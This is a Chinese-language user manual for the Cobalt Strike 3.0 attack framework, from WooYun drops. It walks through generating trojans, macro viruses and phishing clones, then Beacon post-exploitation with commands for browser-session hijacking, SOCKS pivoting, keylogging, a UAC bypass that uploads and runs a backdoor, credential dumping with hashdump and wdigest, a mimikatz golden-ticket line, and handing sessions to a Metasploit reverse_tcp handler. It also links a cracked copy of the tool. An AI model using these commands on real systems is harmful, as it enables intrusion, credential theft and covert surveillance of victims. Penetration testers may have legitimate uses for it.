Cobalt strike3.0使用手冊
0x00 簡介
Cobalt Strike 一款以metasploit為基礎的GUI的框架式滲透工具,整合了埠轉發、服務掃描,自動化溢位,多模式埠監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標資訊獲取,java執行,瀏覽器自動攻擊等等。而Cobalt Strike 3.0已經不再使用Metasploit框架而作為一個獨立的平臺使用,當然可以結合Armitage進行使用。這裡有一個破解版:
下載地址:戳我(自行驗證其安全性)
Cobalt Strike 3.0 延用了其強大的團體伺服器功能,能讓多個攻擊者同時連線到團體伺服器上,共享攻擊資源與目標資訊和sessions。當然,在使用Cobalt Strike之前,需要安裝java環境,具體怎麼配置,請移步[java language="環境搭建"][/java]/java3。
0x01 執行
與之前版本的 Cobalt Strike不同, Cobalt Strike3.0需要開啟團體伺服器才可以連結使用,當然,這個伺服器可以放到公網環境下,或者放到自己想要搭建此服務的環境中。 下載好Cobalt Strike以後包含以下幾個檔案:
其中關鍵的檔案是teamserver以及cobaltstrike.jar,將這兩個檔案放到伺服器上同一個目錄,然後執行:
☁ cobaltstrike sudo ./teamserver 192.168.74.1 msf3
這裡為了方便使用,最好使用具體的ip地址,而不是0.0.0.0或者127.0.0.1, 如果有多個網路卡,使用你要用的那個ip地址即可,
msf3
為該團體伺服器的連線密碼。
服務執行以後,在客戶端進行連線:
☁ cobaltstrike java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*
這裡ip使用伺服器的ip,埠預設50050,使用者名稱隨意,密碼為之前設定的密碼,然後connect,彈出驗證視窗,然後點是,就進入Cobalt Strike了。
0x02 Listeners
使用Cobalt Strike首先需要建立一個Listener,依次點選 Cobalt Strike->Listeners ,然後點選Add便可以建立自己想要的Listeners了,Cobalt Strike3.0包括
- windows/beacon_dns/reverse_dns_txt
- windows/beacon_dns/reverse_http
- windows/beacon_http/reverse_http
- windows/beacon_https/reverse_https
- windows/beacon_smb/bind_pipe
- windows/foreign/reverse_dns_txt
- windows/foreign/reverse_http
- windows/foreign/reverse_https
- windows/foreign/reverse_tcp
其中windows/beacon*
是Cobalt Strike自帶的模組,包括dns,http,https,smb四種方式的監聽器,windows/foreign*
為外部監聽器,即msf或者Armitage的監聽器。 選擇監聽器以後,host會自動填寫我們開啟服務時的ip,配置監聽埠,然後儲存,監聽器就建立好了。
0x03 Attacks
建立好監聽器,下面就需要配置客戶端了,Cobalt Strike包括多種攻擊方式,其中Packages包括如下幾種:
HTML Application
生成惡意的HTA木馬檔案;
MS Office Macro
生成office宏病毒檔案;
Payload Generator
生成各種語言版本的payload;
USB/CD AutoPlay
生成利用自動播放執行的木馬檔案;
Windows Dropper
捆綁器,能夠對文件類進行捆綁;
Windows Executable
生成可執行exe木馬;
Windows Executable(S)
生成無狀態的可執行exe木馬。
Web Drive-by(釣魚攻擊)包括如下幾個模組:
Manage
對開啟的web服務進行管理;
Clone Site
克隆網站,可以記錄受害者提交的資料;
Host File
提供一個檔案下載,可以修改Mime資訊;
PowerShell Web Delivery
類似於msf 的web_delivery ;
Signed Applet Attack
使用java自簽名的程式進行釣魚攻擊;
Smart Applet Attack
自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler
用來獲取一些系統資訊,比如系統版本,Flash版本,瀏覽器版本等。
Spear Phish 是用來郵件釣魚的模組。
0x04 View
View模組可以方便測試者檢視各個模組,圖形化的介面可以方便的看到受害者機器的各個資訊。
Applications
顯示受害者機器的應用資訊;
Credentials
顯示受害者機器的憑證資訊,能更方便的進行後續滲透;
Downloads
檔案下載;
Event Log
可以看到事件日誌,清楚的看到系統的事件,並且團隊可以在這裡聊天;
Keystrokes
檢視鍵盤記錄;
Proxy Pivots
檢視代理資訊;
Screenshots
檢視螢幕截圖;
Script Console
在這裡可以載入各種指令碼以增強功能,指令碼地址戳我;
Targets
檢視目標;
Web Log
檢視web日誌。
還有Reporting的功能就不介紹了,主要就是出報告用的。
0x05 Beacon
Beacon可以選擇透過DNS還是HTTP協議出口網路,你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支援多主機連線,部署好Beacon後提交一個要連回的域名或主機的列表,Beacon將透過這些主機輪詢。目標網路的防護團隊必須攔截所有的列表中的主機才可中斷和其網路的通訊。
透過種種方式獲取shell以後(比如直接執行生成的exe),就可以使用beacon了,右擊電腦,Interact,則可開啟Beacon Console;
在beacon處輸入help,則可以看到詳細說明:
beacon> help
Beacon Commands
===============
Command Description
------- -----------
browserpivot Setup a browser pivot session
bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in-progress
cd Change directory
checkin Call home and post data
clear Clear beacon queue
covertvpn Deploy Covert VPN client
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Try to elevate privileges
execute Execute a program on target
exit Terminate the beacon session
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over SMB
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode http Use HTTP as data channel
mode smb Use SMB peer-to-peer communication
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powershell Execute a command via powershell
powershell-import Import a powershell script
ps Show process list
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
pth Pass-the-hash using Mimikatz
pwd Print current directory
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
runas Execute a program as another user
screenshot Take a screenshot
shell Execute a command via cmd.exe
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host
對於某個模組的使用方式可以直接使用help檢視,如:
beacon> help browserpivot
Use: browserpivot [pid] [x86|x64]
browserpivot [stop]
Setup a Browser Pivot into the specified process. To hijack authenticated
web sessions, make sure the process is an Internet Explorer tab. These
processes have iexplore.exe as their parent process.
Use "browserpivot stop" to tear down the browser pivoting sessions
associated with this Beacon.
下面主要介紹幾個好玩兒的功能。這裡為了能快速顯示結果,可以設定
beacon>sleep 0
0x051 Browserpivot
使用者注入受害者瀏覽器程式,然後開啟HTTP代理,之後就可以登入受害者登入的網站了。
使用方式,ps找到瀏覽器程式:
注入程式:
beacon> browserpivot 3452 x64
設定本地瀏覽器代理:
當受害者登入某網站賬號以後,透過代理,本機瀏覽器同樣登入該網站:
當然當被攻擊者關閉瀏覽器的時候,代理也就失效了,關閉此代理可使用如下命令:
browserpivot stop
0x052 Socks
可以直接開啟socks4a代理,可以透過代理進行內網滲透測試。
開啟socks
beacon>socks 9999
這裡可以選擇其中一臺,右鍵Pivoting->SOCKS Server,則使用此臺計算機開啟socks代理。
配置proxychains.conf,新增
socks4 127.0.0.1 9999
然後就可以透過proxychains 使用各種工具做內網滲透了。
或者直接開啟隧道使用msf,依次點選View->Proxy Pivots,選擇Socks4a Proxy,點選Tunnel:
複製以後,在msf中執行,則可以開啟代理:
關閉socks
beacon>socks stop
0x053 Screenshot&Keylogger
這裡的screenshot可以擷取受害者一定時間的螢幕截圖,操作命令為:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者
beacon>screenshot
然後開啟View->Screenshots,則可以看到螢幕截圖:
鍵盤記錄器的使用方式為:
Use: keylogger [pid] <x86|x64>
然後開啟View->Keystrokes,則可以看到鍵盤記錄結果:
如果不想使用命令列,可以直接選擇受害者計算機(可多選),右鍵->Explore->Process List:
0x054 powershell-import
這個功能在後滲透測試中很有用,可以匯入各種powershell滲透框架,比如nishang的powerpreter,直接執行:
beacon> powershell-import
然後在檔案瀏覽器裡面選擇 Powerpreter.psm1:
或者直接執行:
powershell-import [/path/to/local/script.ps1]
進行匯入,之後就可以使用powerpreter的各種模組了。
要執行某模組直接使用如下命令,比如:
beacon> powershell Check-VM
關於powerpreter之前在zone有簡單的介紹,powershell
後滲透框架 powerpreter。
0x055 kerberos相關
這裡一共有三個模組,分別是:
- kerberos_ccache_use :從ccache檔案中匯入票據
- kerberos_ticket_purge :清除當前會話的票據
- kerberos_ticket_use:從ticket檔案中匯入票據
獲取黃金票據的方式比如使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
烏雲關於kerberos也有相關文章,有興趣的可以看一下:
據說這個在域滲透中很有用喲~
0x056 BypassUAC
什麼,你不能讀密碼?試試bypassuac吧~
直接執行
beacon> bypassuac
下面你就可以執行那些需要最高許可權的操作了。
這一塊在測試Win10的時候並沒有成功,關於Win10的bypassuac我在部落格裡面也有相關介紹,詳情:戳我呀
在這裡就演示使用bypassuac的powershell指令碼來獲取Win10最高許可權,由於nishang的powershell指令碼現在並不支援Win10,所以這裡使用了一個我修改的powershell指令碼 invoke-BypassUAC.ps1
生成一個beacon後門:
上傳後門:
beacon> cd E:
beacon> upload /Users/evi1cg/Desktop/test.exe
載入powershell執行後門:
beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1
beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe'
然後他就破了:
使用那個破了的電腦的beacon讀取密碼:
beacon> sleep 0
beacon> wdigest
beacon> hashdump
0x06 與msf聯動
cobalt strike3.0 不再使用Metasploit框架而作為一個獨立的平臺使用,那麼怎麼透過cobalt strike獲取到meterpreter呢,別擔心,可以做到的。 首先我們使用msf的reverse_tcp開啟監聽模式:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.74.1
lhost => 192.168.74.1
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit -j
之後使用Cobalt Strike建立一個windows/foreign/reverse_tcp Listener:
其中ip為msf的ip地址,埠為msf所監聽的埠。
然後選中計算機,右鍵->Spawn:
選擇剛剛建立的監聽器:
可以看到成功獲取了meterpreter回話:
0x07 小結
此次測試使用windows/beacon_http/reverse_http
來進行,具體DNS的監聽器請參考luom所寫Cobalt Strike 之團隊伺服器的搭建與DNS通訊演示,本篇文章只是介紹了Cobalt Strike的部分功能,如有錯誤,請各位大牛指正,關於Cobalt Strike其他的功能小夥伴們可以自己研究,如果可能的話,我也會對其進行補充。希望對各位小夥伴有用。
本文由evi1cg原創並首發於烏雲drops,轉載請註明
相關文章
- Anaconda使用手冊2024-12-05
- Zabbix 使用手冊2024-09-01
- Mybatis應用手冊2023-03-26MyBatis
- sqlmap使用手冊2022-03-04SQL
- TcpDump使用手冊2020-08-19TCP
- MyBatis 使用手冊2020-11-21MyBatis
- 儀器使用手冊2024-03-22
- git 基本使用手冊2020-07-06Git
- Cobra框架使用手冊2021-07-07框架
- Linux parallel 命令使用手冊2023-04-10LinuxParallel
- ThreadLocal 使用手冊 | 按需收藏2023-01-12thread
- 【C#】CsvHelper 使用手冊2020-05-20C#
- PerfDog WEB端使用手冊2020-08-04Web
- vim-plug使用手冊2020-10-10
- 【C#】AutoMapper 使用手冊2020-06-12C#APP
- Carbon中文使用手冊(下)2021-09-09
- Git 快速使用手冊(二)2020-12-08Git
- Room Database完全使用手冊2019-01-18OOMDatabase
- MongoDB和pymongo自用手冊2018-09-14MongoDB
- Gerrit和Jenkins使用手冊2018-04-24Jenkins
- 《Redis 使用手冊》- 字串(PHP 版本)2019-12-24Redis字串PHP
- BeautifulSoup使用手冊(查詢篇)2020-10-03
- MySQL DBA 常用手冊小結2021-09-09MySql
- ES6 完全使用手冊2019-03-03
- mysql常用命令使用手冊2021-09-09MySql
- Rational ClearQuest 安裝、配置、使用手冊2020-04-05
- 報警系統QuickAlarm使用手冊2018-12-29UI
- TypeScript魔法堂:列舉的超實用手冊2020-10-29TypeScript
- validation客戶端驗證框架使用手冊2020-12-12客戶端框架
- Canvas實用庫Fabric.js使用手冊2019-01-12CanvasJS
- Cobalt Strike使用2024-06-10
- 【Emmet 的使用手冊(知識點超全版本)】2021-01-04
- WGLCOUD 使用手冊 - 監控攝像頭的狀態2023-04-15
- Microsoft PowerPoint 2019 for Mac 簡體中文安裝使用手冊2019-12-04ROSMac
- Kubernetes部署通用手冊 (支援版本1.19,1.18,1.17,1.16)2020-07-12
- spring動態註冊bean會使AOP失效?2022-04-12SpringBean
- spring應用手冊-AOP(註解)-(20)-切面釋出-前置通知2020-10-18Spring
- spring應用手冊-IOC(XML配置實現)-(26)-注入set集合2020-10-04SpringXML